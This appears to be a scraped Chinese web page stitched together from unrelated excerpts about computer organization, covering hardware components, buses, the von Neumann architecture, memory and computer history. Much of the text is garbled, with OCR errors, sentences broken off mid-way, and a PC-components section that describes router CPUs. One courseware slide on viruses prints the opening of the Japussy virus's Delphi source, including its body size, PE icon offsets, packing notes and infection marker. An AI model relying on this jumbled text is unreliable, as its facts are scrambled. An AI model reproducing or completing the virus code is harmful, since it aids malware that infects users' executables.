电脑的组成原理与基本结构
电脑硬件详解.ppt
不相伯仲，差距只是几个百分点。
▪ Matrox。
▪
当年和nv,ati一起争夺独立显卡市场份额的一家公司，在曾经的一个时期
Matrox的显卡和nv,ati曾经在性能上比肩过。但由于后来其开发能力日渐衰退，在
GF5时期，也就是ati的9000系列时期，Matrox由于性能上整整落后了GF5900和
Raden9800一个世代而逐渐被淘汰，淡出了民用独立显卡市场。
（Fabless）IC半导体设计公司。
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ATI
▪ ATI(Array Technology Industry)是世界著名的显示芯片 生产商，和nVIDIA齐名，中文名叫“冶天”。 在1985年 至2006年之间是全球重要的显示芯片公司，总部设在加
拿大安大略省万锦，直至被美国AMD公司收购后成 为该公司的一部份。ATI在美洲、欧洲和亚洲等地曾拥
常见的三种BIOS：Award、AMI、Phoenix
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▪ 总线扩展槽：按功能分为内存插槽、 PCI/ISA扩展槽、AGP，PCI，PCIE显示 卡插槽等
▪ 各类I/O接口：软硬盘、键盘鼠标、打印机、 USB（通用串行总线）、COM1/COM2等。
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硬盘
▪ 功能：硬盘是我们熟
的市场份额，而AMD不足20%。
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GPU
▪ GPU英文全称Graphic Processing Unit，中文翻译为“图 形处理器”。GPU是相对于CPU的一个概念，由于在现代 的计算机中（特别是家用系统，游戏的发烧友）图形的处理 变得越来越重要，需要一个专门的图形的核心处理器。
▪ GPU是显示卡的“大脑”，它决定了该显卡的档次和大部
计算机组成原理(本全)课件
目录
CONTENTS
• 计算机系统概述 • 中央处理器(CPU) • 存储器系统 • 输入输出(I/O)系统 • 计算机的体系结构 • 计算机的软件系统
01 计算机系统概述
计算机的发展历程
第一代计算机
电子管计算机，20世纪40年代 中期至50年代末期，主要用于
军事和科学研究领域。
CPU每个时钟周期执行的指令数，是 衡量CPU性能的重要指标。
03 存储器系统
存储器的分类和作用
分类
根据存储器的功能和位置，可以分为内存和外存两大类。内存是计算机内部存储器，用 于存放运算数据和程序代码；外存则是计算机外部存储器，用于长期保存大量数据和程
序。
作用
存储器是计算机的重要组成部分，它负责存储程序运行过程中所需的数据、指令等信息 ，使得CPU能够快速、准确地读取和写入数据，从而完成程序的执行。
软件系统
包括系统软件和应用软件两大类。
操作系统
是计算机的软件系统中最基本、最重要的部分，负责 管理和调度计算机的软硬件资源。
计算机的工作原理
二进制数制
计算机内部采用二进制数制进行运算和存储。
指令和程序
计算机按照程序中预定的指令序列进行自动执 行。
存储程序原理
将程序和数据存储在计算机内部，根据指令从存储器中取出数据和指令进行运 算和传输。
内存的工作原理和组织结构
工作原理
内存由多个存储单元组成，每个单元可以存储一个二进制数 。当CPU需要读取或写入数据时，会通过地址总线发送地址 信号，内存控制器根据地址信号找到对应的存储单元，完成 数据的读取或写入操作。
组织结构
内存的组织结构通常采用线性编址方式，即将内存单元按照 一定顺序排列，每个单元都有一个唯一的地址。内存的容量 大小由地址总线的位数决定，地址总线位数越多，可访问的 内存单元数量就越多。
电脑主板各个模块介绍与原理解读
2）AGP总线
AGP即高速图形接口。专用于连接主板上的控制芯片和AGP显卡，在AGP显卡上的显示存储器与主机主存之间建立直接的专用数据通道，让主存中的影像和图形数据直接传送到显卡而不需要经过PCI总线。它的传输速度为PCI的4倍。AGP又分为AGP 1X、2X、4X、8X四种。
3．芯片组(Chipset)
芯片组称为控制芯片组(Chipset)，由一片或多片超大规模集成电路芯片构成。主要包括以下功能电路。
1）总线控制器
其主要功能是执行CPU的命令，根据CPU的状态信号译码出各种控制命令，并代替CPU去下达命令，送往各功能电路
2）计时/计数器
5．总线扩展槽
可插放各种用途的功能板卡，如显卡、声卡、网卡、视频转接卡等。根据不同的标准，扩展槽有：ISA、PCI 和AGP扩展槽总线。ISA又分为ISA和EISA；PCI分为PCI、PCI 2.1、PCI X和PCI E；AGP分为AGP 1X、2X、4X和8X。这些扩展槽并行排列在主板上，ISA总线扩展槽为黑色；PCI总线扩展槽为白色，但比ISA总线扩展槽短些；AGP扩展槽是离CPU 插座最近的褐色插槽。
1.总线结构图
主板总线结构如图5-2、图5-3所示。
2．总线的分级
一般总线可分为系统总线、局部总线和模块内部总线。
前端系统总线(Front Side Bus，简称FSB)是CPU和主板的北桥芯片或者MCH(内存控制集线器)之间的数据通道，即CPU外部总线。前端总线频率即是CPU的端口频率，与内存总线频率相同，但与主板主频(CPU外频)不同。
计算机组成原理总结
计算机组成原理总结第一章1,冯诺依曼计算机的特点？1）计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成；2）指令和数据以同等地位存放在存储器中，并可按地址寻访；3）指令和数据均用二进制数表示；4）指令由操作码和地址码组成，操作码用来表示操作的性质，地址码用来表示操作数在存储器中的位置；5）指令在存储器中按顺序存放，通常，指令是顺序执行的，在特定条件下，可根据运算结果或根据设定的条件改变执行顺序；6）机器以运算器为中心，输入输出设备与存储器间的数据传送通过运算器完成。
2,计算机由哪几部分组成（图）？（课本图1.7、1.8）运算器、存储器、控制器、输入设备和输出设备3,计算机的硬件设备（字长，容量，速度）？1）字长：机器字长是指CPU —次能处理数据的位数，通常与CPU的寄存器的位数有关；2）容量：存储器中可存二进制代码的总量，存储器的容量应该包括主存容量和辅存容量。
a）主存容量：指主存中存放二进制代码的总位数；b）辅存容量：通常用字节数来表示；4，高级语言和低级语言相比有什么特点？（）1）高级语言（c、C++、java）：编程效率高，运行效率低，可移植性好；2）低级语言（汇编语言）：编程效率低，运行效率高，可移植性差。
第三章1,什么是总线，有哪些分类?总线：是连接多个部件的信息传输线，是各部件共享的传输介质；2，什么是系统总线，有哪些分类？系统总线：指CPU,主存，I/O 设备各大部件之间的信息传输线;—＞片内总线：芯片内部的总线（课本P4J ）;系统总线：指CPU 「主存,"0设备各大部件之间的信息传输线；―数据总线：用剌专输各功能部＜牛之间的数据信息「是双向 的f 位数与仪器字氏存储字长有关；一＞地址总线：主要用来支出数据总线是哪个的源数据或目的数 据在主存单元的地址或I/O 设备的地址；—控制总线：用来发岀各种控制信号的传输线；—＞通信总线：用于计算机系统之间或计算机系统与其他系统之间的通信；一*串行通信：在单条T 立宽的传输牡（T5T53安顺序分时 小；并行通信：数据在多条并行1位宽的传输线上”同时由源传1一＞送到目的地.3, 总线宽度与总线带宽的区别？1） 总线宽度：指 数据总线的根数，用bit 表示；2） 总线带宽：课理解为总线的传输速率，单位时间内总上传输数据的位数，用每秒 传输信息的字节数来判定，单位， Mbps 。
计算机系统的组成与工作原理ppt课件
工作原理
参照人类大脑的工作方式，首先我们通过眼 睛、耳朵等感觉器官，将捕捉到的信息输送到 大脑并存储起来。然后经过思考，结合已掌握 的知识，按照一定的方法和步骤，对信息进行 加工处理，产生处理结果。然后在经过大脑的 控制，利用口、手等器官，把结果表达出来。 计算机的工作方式也是类似的：
计算机工作原理
它是计算机的核心部件，负责解释执行计算机的基 本指令，完成计算机对各种信息的加工处理工作。 它主要由运算器和控制器组成。
信息处理 的核心
信息处理的 指挥中心
现在市场上常用的是AMD处理器、英特尔处理器等。
AMD处理器
Intel处理器
主 机 板
二、存储器
（1）内存储器，简称内存，也叫主存储器。 用于存储计算机当前工作中正在运行的程序、 数据等，相当于计算机内部的存储中心。
操作系统有DOS、windows等，我们常用的 WINDOWS 是一个多任务、多窗口的操作系统 。
应用软件是为了解决一些实际问题的计算机程序。 我们在计算机上作画，需要作图软件如photoshop, 作动画需要动画软件flash，我们写文章要用文字 编辑软件，如microsoft word，老师做课件用ppt 等。
注意：在我们使用完USB移动存储器时，一定要在计算机上进行“安全 删除硬件”的操作。等WINDOWS通知可以移除设备时，才可以从USB接口 中拔出设备
内 存 条
U 盘
光驱
三、输入设备：用于计算机从外界获取信息
键
鼠
盘
标
摄 像 头 扫描仪
数码相机
四、输出设备：用于将信息传递给外界 打 印 机
显 示 器
数据输入 输入设备
运算器 存储器
输出 设备 输出 结果
计算机工作原理解析
计算机工作原理解析冯·诺依曼结构计算机系统由硬件系统和软件系统两大部分组成。
美藉匈牙利科学家冯·诺依曼结构(John von Neumann)奠定了现代计算机的基本结构，其特点是：1)使用单一的处理部件来完成计算、存储以及通信的工作。
2)存储单元是定长的线性组织。
3)存储空间的单元是直接寻址的。
4)使用低级机器语言，指令通过操作码来完成简单的操作。
5)对计算进行集中的顺序控制。
6)计算机硬件系统由运算器、存储器、控制器、输入设备、输出设备五大部件组成并规定了它们的基本功能。
7)彩二进制形式表示数据和指令。
8)在执行程序和处理数据时必须将程序和数据道德从外存储器装入主存储器中，然后才能使计算机在工作时能够自动调整地从存储器中取出指令并加以执行。
这就是存储程序概念的基本原理。
计算机指令计算机根据人们预定的安排，自动地进行数据的快速计算和加工处理。
人们预定的安排是通过一连串指令(操作者的命令)来表达的，这个指令序列就称为程序。
一个指令规定计算机执行一个基本操作。
一个程序规定计算机完成一个完整的任务。
一种计算机所能识别的一组不同指令的集合，管为该种计算机的指令集合或指令系统。
在微机的指令系统中，主要使用了单地址和二地址指令。
其中，第1个字节是操作码，规定计算机要执行的基本操作，第2个字节是操作数。
计算机指令包括以下类型：数据处理指令(加、减、乘、除等)、数据传送指令、程序控制指令、状态管理指令。
整个内存被分成若干个存储单元，每个存储单元一般可存放8位二进制数(字节编址)。
每个在位单元可以存放数据或程序代码。
为了能有效地存取该单元内存储的内容，每个单元都给出了一个唯一的编号来标识，即地址。
计算机的工作原理按照冯·诺依曼存储程序的原理，计算机在执行程序时须先将要执行的相关程序和数据放入内存储器中，在执行程序时CPU根据当前程序指针寄存器的内容取出指令并执行指令，然后再取出下一条指令并执行，如此循环下去直到程序结束指令时才停止执行。
计算机组成原理：第一章-计算机系统体系结构
一计算机系统体系结构1.1 什么是计算机体系结构本章的第一个概念是计算机系统(computer system)。
计算机系统包括读取并执行程序的中央处理单元(CPU，保存程序和数据的存储器以及将芯片转换为实用系统的其他子系统。
这些子系统会使CPU与显示器、打印机、Internet等外部设备之间的通信变得更加容易。
•cpu(处理器): 计算机实际执行程序的部分•微处理器: 在单个硅片上实现的CPU•微机: 围绕微处理器构建的计算机计算机的性能既取决于CPU；也取决于其他子系统。
如果不能高效进行数据传输，仅仅提高CPU的性能是毫无意义的。
Figure 1:•信息(程序和数据): 保存在存储器中；计算机会使用不同类型的存储器，达到不同的目的。
–如果不能叫信息保存在正确的存储器，那么CPU的速度再快也将毫无意义–Cache: 保存常用的数据是高速专用的存储器。
–主存: 存放大量的工作数据，断电消失–辅存: 指磁盘等，用于存储海量的数据。
永久存储•组成计算机的各个子系统通过总线连接在一起，数据通过总线从计算机中的一个位置传递到另一个位置。
什么是计算机Figure 2:•输入: 指用户交给计算机的信息•输出: 指计算机返回给用户的信息可编程计算机接收两种类型的输入: 它将要处理的数据，以及准确描述要如何处理输入数据的程序。
程序不过是计算机所执行的完成给定任务的操作序列。
Figure 3:•CPU读程序并完成程序指定的操作。
内部使用寄存器来保存数据•存储器系统保存两类信息:程序，程序处理或产生的数据计算机从存储器中读出指令并执行这些指令(即完成或执行指令定义的动作)。
执行指令时，可能要从存储器中读出数据，对数据进行操作，将数据写回存储器。
寄存器是CPU内部用来存放数据的存储单元。
时钟提供了脉冲流,所有内部操作都在时钟脉冲的触发下进行。
时钟频率是决定计算机速度的一个因素程序执行过程Figure 4:CPU先读取一条指令；在CPU分析或解码指令；从存储器中读出这条指令所需的所有数据。
《计算机组成原理》课件
将结果存回内存或寄存器 。
CPU的性能指标
速度
执行指令的速度，通常以MIPS（百万条 指令每秒）表示。
功耗
CPU在工作时的能耗。
集成度
CPU中晶体管的数量和密度。
可靠性
CPU在正常工作条件下无故障运行的概率 。
03
存储器
内存的分类与结构
分类
根据存储介质，内存可以分为RAM（随机存取存储器）和ROM（只读存储器）。RAM又可以分为DRAM（动态 随机存取存储器）和SRAM（静态随机存取存储器）。
谢谢您的聆听
THANKS
《计算机组成原理》ppt课件
CONTENTS
• 计算机系统概述 • 中央处理器 • 存储器 • 输入输出系统 • 总线系统 • 计算机系统可靠性及安全性
01
计算机系统概述
计算机的发展历程
机械计算机时代
1946年第一台电子计算机ENIAC诞生，占地170平方米，重30吨，运算速度5000次/秒。
晶体管计算机时代
20世纪50年代中期至60年代，计算机体积缩小，运算速度提高，可靠性增强。
集成电路计算机时代
20世纪60年代末至70年代初，微处理器出现，个人电脑开始进入市场。
大规模集成电路计算机时代
20世纪70年代中期至今，计算机体积更小，性能更高，应用领域更广泛。
计算机系统的组成
硬件系统
包括中央处理器、存储器、输入输出设备 等物理部件。
结构
内存主要由存储单元阵列、地址译码器和数据输入/输出缓冲器组成。每个存储单元阵列负责存储数据，地址译 码器负责将地址码转换为相应的存储单元的地址，数据输入/输出缓冲器则负责数据的读写操作。
内存的工作原理
计算机组成原理知识点总结
计算机组成原理知识点总结计算机组成原理是计算机科学与技术的基础课程之一，涉及到计算机系统的硬件和软件组成，以及它们之间的交互关系。
以下是一些计算机组成原理的重要知识点总结：1. 计算机的分类：计算机可以根据规模、用途和结构等方面进行分类。
常见的分类有超级计算机、服务器、工作站、个人电脑、嵌入式系统等。
2. 计算机的基本组成：计算机由硬件和软件两部分组成。
硬件包括中央处理器(CPU)、内存、输入输出设备和存储设备等。
软件包括系统软件和应用软件。
3. 冯·诺依曼体系结构：冯·诺依曼体系结构是现代计算机体系结构的基础，它包含了存储器、算术逻辑单元(ALU)、控制单元和输入输出单元。
4. 存储器层次结构：计算机的存储器层次结构从高速缓存到主存再到辅助存储器，层层递进，速度和容量逐渐增大，成本逐渐减小。
5. 数据表示和运算：计算机使用二进制表示数据，并且可以进行不同进制间的转换。
在计算过程中，计算机使用算术逻辑运算对数据进行操作。
6. 指令集体系结构：指令集体系结构是计算机硬件和软件的接口，定义了计算机的指令集和指令执行方式。
常见的指令集体系结构有精简指令集(RISC)和复杂指令集(CISC)。
7. CPU的工作原理：CPU执行计算机指令的过程包括取指令、译码指令、执行指令和写回结果等步骤。
这些步骤是由控制单元和算术逻辑单元(ALU)完成的。
8. 输入输出系统：计算机通过输入输出设备与外部环境进行交互。
输入输出系统包括输入输出控制器、输入输出接口和输入输出设备等。
9. 总线：计算机内部各个硬件部件之间通过总线进行通信和数据传输。
总线包括数据总线、地址总线和控制总线。
10. 中断和异常：中断是计算机在执行过程中响应外部事件的一种机制，可以中断当前的执行流程。
异常是由于程序错误或硬件错误而引起的计算机响应机制。
以上是计算机组成原理的一些重要知识点总结，它们构成了计算机系统的基础，对于理解计算机的工作原理和设计原则非常重要。
从硬件到软件了解电脑技术的基本组成和工作原理
从硬件到软件了解电脑技术的基本组成和工作原理电脑已经成为我们日常工作和生活中不可或缺的一部分。
无论是工作、娱乐还是学习，电脑都发挥着重要的作用。
然而，对于很多人来说，电脑技术的基本组成和工作原理却是一个相对陌生的领域。
本文将从硬件到软件，为您详细介绍电脑技术的基本组成和工作原理。
一、硬件组成1.中央处理器（CPU）中央处理器是电脑的大脑，负责执行计算机指令和控制各个硬件设备的工作。
它由控制单元、算术逻辑单元和寄存器组成，能够处理和运算数据。
2.主板主板是电脑的骨架，承载着各个硬件设备之间的连接和通信。
它上面集成了芯片组、插槽、接口等重要部件，确保各个硬件设备正常运行。
3.内存（RAM）内存是临时存储数据的地方，用于存放当前运行的程序和数据。
它能够快速读写数据，对电脑系统的性能起到至关重要的作用。
4.硬盘硬盘是电脑中的长期存储介质，用于保存文件、软件和操作系统等数据。
它的存储容量较大，稳定性较高，但读写速度相对较慢。
5.显卡显卡负责处理电脑的图形输出。
它能够将计算机生成的图像信号转换成显示器可以识别的图像，以供用户观看和操作。
6.显示器显示器是电脑中的输出设备，用于显示计算机处理后的图像和文字。
现如今，常见的显示器类型有液晶显示器、LED显示器等。
7.键盘和鼠标键盘和鼠标是我们与电脑进行交互的主要工具。
键盘负责输入文字和命令，而鼠标则用于控制光标的移动和点击操作。
二、软件组成1.操作系统操作系统是电脑的核心软件，负责管理电脑的硬件和软件资源。
它为用户提供了图形界面和各种工具，使得我们能够方便地操作电脑。
2.应用软件应用软件是根据用户需求，针对特定任务开发的软件。
例如，办公软件用于文字处理和表格编辑，娱乐软件用于游戏和影音播放等。
3.驱动程序驱动程序是连接硬件设备和操作系统之间的桥梁。
它能够让操作系统识别和控制各种硬件设备，并确保它们正常运行。
三、工作原理1.冯·诺依曼结构电脑的工作原理可归功于冯·诺依曼结构。
电脑主要是由什么组成的
电脑主要是由什么组成的电脑离我们越来越近，已经成为我们工作、生活的一部分。
打开电脑，您就可以在里面打字、画画、听音乐、玩游戏、看VCD电影……等等很多的应用。
目前还有一个最热门也是非常有现实意义的应用上Internet网。
一起和5068小编来看看吧!电脑的组成一. cpu无论在中低端路由器还是在高端路由器中，CPU都是路由器的心脏。
通常在中低端路由器中，CPU负责交换路由信息、路由表查找以及转发数据包。
在上述路由器中，CPU的能力直接影响路由器的吞吐量(路由表查找时间)和路由计算能力(影响网络路由收敛时间)。
在高端路由器中，通常包转发和查表由ASIC芯片完成，CPU只实现路由协议、计算路由以及分发路由表。
由于技术的发展，路由器中许多工作都可以由硬件实现(专用芯片)。
CPU性能并不完全反映路由器性能。
路由器性能由路由器吞吐量、时延和路由计算能力等指标体现。
二. 主板也称主机板,是安装在主机机箱内的一块矩形电路板,上面安装有电脑的主要电路系统。
主板的类型和档次决定着整个微机系统的类型和档次,主板的性能影响着整个微机系统的性能。
主板上安装有控制芯片组、BIOS芯片和各种输入输出接口、键盘和面板控制开关接口、指示灯插接件、扩充插槽及直流电源供电接插件等元件。
CPU、内存条插接在主板的相应插槽(座)中,驱动器、电源等硬件连接在主板上。
主板上的接口扩充插槽用于插接各种接口卡,这些接口卡扩展了电脑的功能。
常见接口卡有显示卡、声卡等。
三. 内存随机访问内存(RAM)相当于PC机上的移动存储，用来存储和保存数据的。
在任何时候都可以读写， RAM通常用作操作系统或其他正在运行的程序的临时存储介质(可称作系统内存)。
不过，当电源关闭时时RAM不能保留数据，如果需要保存数据，就必须把它们写入到一个长期的存储器中(例如硬盘)。
正因为如此，有时也将RAM称作"可变存储器"。
RAM内存可以进一步分为静态RAM(SRAM)和动态内存(DRAM)两大类。
计算机基本工作原理
计算机基本工作原理
1958年第一代集成电路仅仅包含两个晶体 管，而1997年，奔腾II处理器则包含了750 万个晶体管，2000年的Pentium 4 已达到 了0.13微米技术，集成了4200万个晶体管 。 CPU集成的晶体管数量越大，就意味着更 强的芯片计算能力。 现在的CPU试用的晶体管的数目已经用亿 来衡量。
与用户直接交流。
病毒
病毒是什么 病毒的危害 病毒的传播方式 病毒的预防
病毒及代码
• • • • • • • • • • • • • • • program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI {, Registry}; const HeaderSize = 82432; //病毒体的大小 I conOffset = $12EB8; //PE文件主图标的偏移量 //在Delphi5 SP1上面编译得到的大小， 其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记
计算机基本工作原理
计算机的主要组成部分： 1.CPU 2.内存 3.主板 4.显卡 5.硬盘 6.电源 7.输入输出设备
冯诺依曼结构工作原理
冯诺依曼结构工作原理冯诺依曼结构是计算机体系结构的一种基本原理，它是由冯·诺依曼于1945年提出的，它的核心思想是将计算机的控制单元、算术逻辑单元、存储单元和输入输出设备统一起来，以存储程序方式进行运算。
冯诺依曼结构分为五个主要部分：存储器、运算器、控制器、输入设备和输出设备。
下面我将详细介绍每个部分的工作原理。
首先是存储器。
存储器是冯诺依曼结构的核心，它用来存储指令和数据。
它通常分为主存和辅存两部分。
主存储器是指电脑中的内存，用来存储正在运行的程序及其相关数据。
辅存储器则是指硬盘、光盘等外部存储设备，用来存储长期不需要的数据和程序。
运算器是计算机进行算术运算和逻辑运算的部分。
它由算术逻辑单元（ALU）和一组通用寄存器组成。
ALU负责执行各种算术和逻辑运算，如加法、减法、乘法、除法和逻辑与、逻辑或等。
寄存器则用来存储算术逻辑单元的操作数和运算结果。
控制器是计算机的指挥中心，负责控制和协调计算机的各个部件。
它的主要功能是根据存储器中的指令，将指令送到运算器执行，并将执行结果存储到指定位置。
控制器包括指令寄存器、程序计数器、指令译码器和时序发生器等。
输入设备和输出设备用于与外部环境进行数据交换。
输入设备将外部数据转换为计算机能够识别的形式，并传输到存储器中。
常见的输入设备包括键盘、鼠标、扫描仪等。
输出设备则将计算机处理后的数据转换为人类可以理解的形式，并输出到外部环境。
常见的输出设备包括显示器、打印机、音响等。
冯诺依曼结构的工作原理可以总结为以下几个步骤：首先，计算机从输入设备接收到待处理的数据。
然后，控制器将存储器中的指令送到运算器执行。
运算器根据指令进行算术和逻辑运算，并将执行结果存储到指定位置。
最后，计算机将处理结果通过输出设备输出。
冯诺依曼结构的优点是具有程序存储器和数据存储器的统一性，能够灵活地处理不同的应用程序。
同时，由于指令和数据存储在同一个存储器中，可以实现程序的随机访问，提高计算机的运行效率。
计算机基本结构
计算机基本结构计算机基本结构是指计算机系统中各个组成部分的组织和联系方式，包括硬件和软件两个层面。
硬件层面主要包括中央处理器（CPU）、存储器、输入输出设备等；软件层面主要包括操作系统、应用程序等。
计算机的基本结构决定着计算机的性能和功能。
一、中央处理器（CPU）中央处理器是计算机硬件中的核心部件，负责执行各种计算和控制指令。
它由运算器（ALU）、控制器和寄存器组成。
运算器负责进行算术和逻辑运算，控制器负责解析和执行指令，寄存器用于存储数据和指令。
1. 运算器（ALU）运算器是计算机中的算术和逻辑运算单元，它可以对数据进行加、减、乘、除等各种运算操作，同时还可以进行逻辑运算，如与、或、非等。
运算器的性能直接影响计算机的运算速度和处理能力。
2. 控制器控制器是计算机中的指令解析和执行单元，它负责解析指令、控制各个部件的工作顺序以及处理异常情况。
通过控制器，计算机可以按照指令的要求完成各种操作。
3. 寄存器寄存器是计算机中的高速存储器，用于存储正在运行的指令和数据。
计算机中有多个寄存器，包括通用寄存器、程序计数器、指令寄存器等，它们具有不同的功能和用途。
二、存储器存储器是计算机中的数据存储部件，主要分为内存和外存两种形式。
内存是计算机中的主要存储介质，用于存储正在运行的程序和数据；外存则是辅助的存储介质，用于离线存储和长期保存数据。
1. 内存内存是计算机中的主要存储器，分为随机存储器（RAM）和只读存储器（ROM）两种类型。
RAM用于存储程序和数据，可读写；ROM用于存储固定的程序和数据，只读。
内存的容量和速度直接影响计算机的性能。
2. 外存外存主要包括硬盘、光盘、U盘等存储介质，用于离线存储和长期保存数据。
外存容量一般较大，但访问速度相对较慢。
三、输入输出设备输入输出设备是计算机与外部环境交互的接口，主要用于数据的输入和输出。
常见的输入设备包括键盘、鼠标、扫描仪等；输出设备包括显示器、打印机、音响等。
计算机大一知识点重点归纳
计算机大一知识点重点归纳计算机科学与技术专业作为当今社会中备受瞩目的专业之一，为了让学生全面了解计算机科学的基础知识，大一的学习内容相对较为基础。
在这篇文章中，我们将对计算机大一知识点进行重点归纳，希望能够帮助大家更好地掌握这些重要概念。
1. 计算机组成原理计算机组成原理是计算机科学与技术专业的基础课程之一。
它主要涉及到计算机硬件的基本组成和工作原理。
重点包括：- 计算机的发展历程：从早期的巨型计算机到现代个人电脑的发展过程。
- 计算机的基本结构：包括中央处理器（CPU）、存储器、输入输出设备等。
- 计算机的指令系统：包括指令的格式、执行过程和指令的种类等。
- 计算机的存储器层次结构：包括寄存器、高速缓存、主存和辅助存储器等。
2. 数据结构与算法数据结构与算法是计算机科学与技术专业中非常重要的一门课程。
它主要涉及到数据的组织、存储和操作的方法，以及解决实际问题时的算法设计和分析。
重点包括：- 常用数据结构：包括数组、链表、栈、队列、树、图等。
- 常见算法：包括查找算法、排序算法、图算法等。
- 算法复杂度分析：包括时间复杂度和空间复杂度的计算和分析。
3. 编程语言与程序设计在大一的学习中，你将接触到至少一种编程语言，并学习如何使用它来进行程序设计。
重点包括：- 编程语言的基本语法：包括变量、数据类型、运算符等。
- 程序的控制结构：包括顺序结构、选择结构和循环结构等。
- 函数和模块化编程：包括函数的定义和调用，以及如何模块化地设计程序。
4. 操作系统操作系统是计算机硬件与软件之间的接口，为用户提供了使用计算机的环境和资源管理。
重点包括：- 操作系统的基本概念：包括进程管理、内存管理、文件系统等。
- 进程管理：包括进程的创建、撤销、调度等。
- 内存管理：包括内存的分配和回收、虚拟内存等。
- 文件系统：包括文件的创建、读写、删除等。
5. 网络基础网络基础是计算机科学与技术专业中必不可少的一门课程。
它主要涉及计算机网络的基本概念和网络协议。
电脑的工作原理
电脑的工作原理
电脑，作为现代科技的重要产物，已经成为人们生活中不可或缺的一部分。
它
的工作原理，是通过各种复杂的电子组件和软件系统来实现的。
本文将从硬件和软件两方面，简要介绍电脑的工作原理。
首先，让我们来看看电脑的硬件部分。
电脑的硬件主要包括中央处理器（CPU）、内存、硬盘、主板、显示器等组件。
其中，中央处理器是电脑的大脑，它负责执行各种指令和处理数据；内存用于临时存储数据和程序；硬盘则是永久存储数据的地方；主板则是各个组件之间的桥梁，负责数据传输和协调各部件的工作；显示器则是将电脑处理的数据以图像的形式呈现出来。
这些硬件组件通过各种总线和接口相互连接，形成了一个完整的电脑系统。
其次，让我们来看看电脑的软件部分。
电脑的软件包括操作系统、应用程序和
驱动程序等。
操作系统是电脑的核心软件，它负责管理硬件资源、提供用户界面、执行应用程序等功能；应用程序则是用户直接使用的软件，比如办公软件、游戏软件等；驱动程序则是连接硬件和操作系统的桥梁，它们使得硬件能够被操作系统正确识别和使用。
电脑的工作原理可以简单概括为，当用户输入指令或数据时，这些信息首先被
传输到中央处理器，中央处理器根据指令和数据进行相应的计算和处理，然后将结果存储到内存或硬盘中，最终通过显示器呈现给用户。
整个过程涉及到了硬件和软件的协同工作，以及各种数据的传输和处理。
总的来说，电脑的工作原理是一个高度复杂而又精密的系统工程，它涉及到了
电子、计算机科学、信息技术等多个领域的知识。
通过本文的简要介绍，相信读者对电脑的工作原理有了更清晰的认识，也能够更好地理解和使用电脑。
希望本文能够对您有所帮助。
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第1章电脑的组成原理与基本结构学习目标在组装电脑之前，应首先了解组装一台电脑至少需要哪些基本部件，以及各部件的大致功能等基本常识。
本章将对电脑的基本组成和结构进行讲解，剖析电脑的基本结构，让读者对电脑有一个初步的认识，了解一些关于电脑的基础知识，迈出组装电脑的第一步。
本章要点☑电脑的诞生☑电脑的发展☑电脑的软件系统☑电脑的硬件系统☑电脑的基本结构1.1 电脑的发展史电脑是20世纪最伟大的发明之一，可以说电脑是当代社会、科学和经济发展的奠基石。
电脑的发明带动了20世纪下半叶的信息技术革命，和以往的工业革命不同的是，电脑将人类从繁杂的脑力和体力劳动中解放了出来，这使得人类社会近50年来的发展速度比此前任何一个时期都快，生产总值比此前几千年来的总和还要多。
电脑为什么会有如此神奇的力量呢？它究竟是什么样子呢？它又是如何被发明的？下面就来了解一下电脑的历史。
1.1.1 电脑的诞生电脑是人们对电子计算机的俗称，第一台电脑是1946年2月15日由美国宾夕法尼亚大学研制的，名为ENIAC。
后来，由天才数学大师、美籍匈牙利数学家冯·诺依曼对其进行了改进，并命名为“冯·诺依曼”体系电脑，现在的电脑都是由“冯·诺依曼”体系电脑发展而来的，因此冯·诺依曼被西方科学家尊称为“电子计算机之父”。
在电子计算机之前，还有具有历史意义的一台计算器，那就是由法国数学家帕斯卡于1642年发明的。
在帕斯卡小时候，其父亲在税务局上班，为了减轻父亲计算税务的麻烦，他发明了一种可以计算的小机器。
这个计算器是一个不大的黄铜盒子，盒子里面并排装着一些齿轮，这些齿轮上标有0～9共10个数字，每个齿轮代表一位数，当低位齿轮转动10圈时，高位齿轮转动1圈，这样就实现了自动进位，这和机械钟表极其相似。
后来，德国数学家莱布尼兹在帕斯卡计算器的基础上，于1694年发明了世界上第一台¤电脑组装与维护教程︻电脑基础·实例·上机系列教程︼能进行加减乘除法运算的机械计算机。
莱布尼兹还有一项重大发明，那便是当今所有电脑使用的二进制。
二进制只有0和1这两个数字，遇到比1大的数就进位，例如，1＋1＝10，11＋1＝100等。
1.1.2 电脑的发展自1946年第一台真正意义上的电脑被发明以来，电脑已经走过了近60个年头了。
从最初采用电子管的庞大电脑到如今采用超大规模集成电路的微型电脑，电脑主要经历了4个阶段和3次重大的技术革新。
1．电子管时代1946年研发的第一代ENIAC电脑使用了17 468个真空电子管，耗电量达174kW，占地170m2，重达30t。
由于那个时期的电脑以电子管作为基本电子元件，用磁鼓作为主存储器，因而称为“电子管时代”。
那时的电脑和我们现在使用的电脑还差得很远，它采用的十进制的计数方式，由冯·诺依曼改进后，电脑才开始采用二进制的计数方式，并且在电脑内加入存储器，把程序和数据一起存储在电脑内，让电脑自动完成运算过程，这便是我们今天使用的电脑的雏型。
人类就是利用这些电子管电脑将人造卫星送上了天。
但是这一代的电脑体积大，耗电量多，价格昂贵，运行速度较低，并且可靠性较差，使得电脑的应用范围只局限于科研、军事等少数几个领域。
2．晶体管时代1956年诞生了世界上第一台晶体管电脑Lepreachaun，它是由美国贝尔实验室研制而成的，以晶体管代替电子管作为基本电子元件，该时期便称为电脑的“晶体管时代”。
这时电脑的体积、重量、功耗都大大地减少了，计算速度达到了300万次每秒。
3．集成电路时代1962年，由美国得克萨斯公司与美国空军共同研制出了第一台采用中小规模集成电路的电脑。
当时的电脑大都以集成电路为最基本电子元件，其体积、功耗都进一步减少，可靠性进一步提高，运算速度达到了4000万次每秒，这个时期便被称为“集成电路时代”。
由于电脑采用了中小规模集成电路，因而集成度较高、功能增强，价格却更便宜，使电脑的应用范围变得更为广阔。
4．超大规模集成电路时代随着科学技术突飞猛进的发展，20世纪70年代后，各种先进的生产技术广泛应用于电脑制造，这使得电子元器件的集成度进一步加大，出现了大规模和超大规模集成电路。
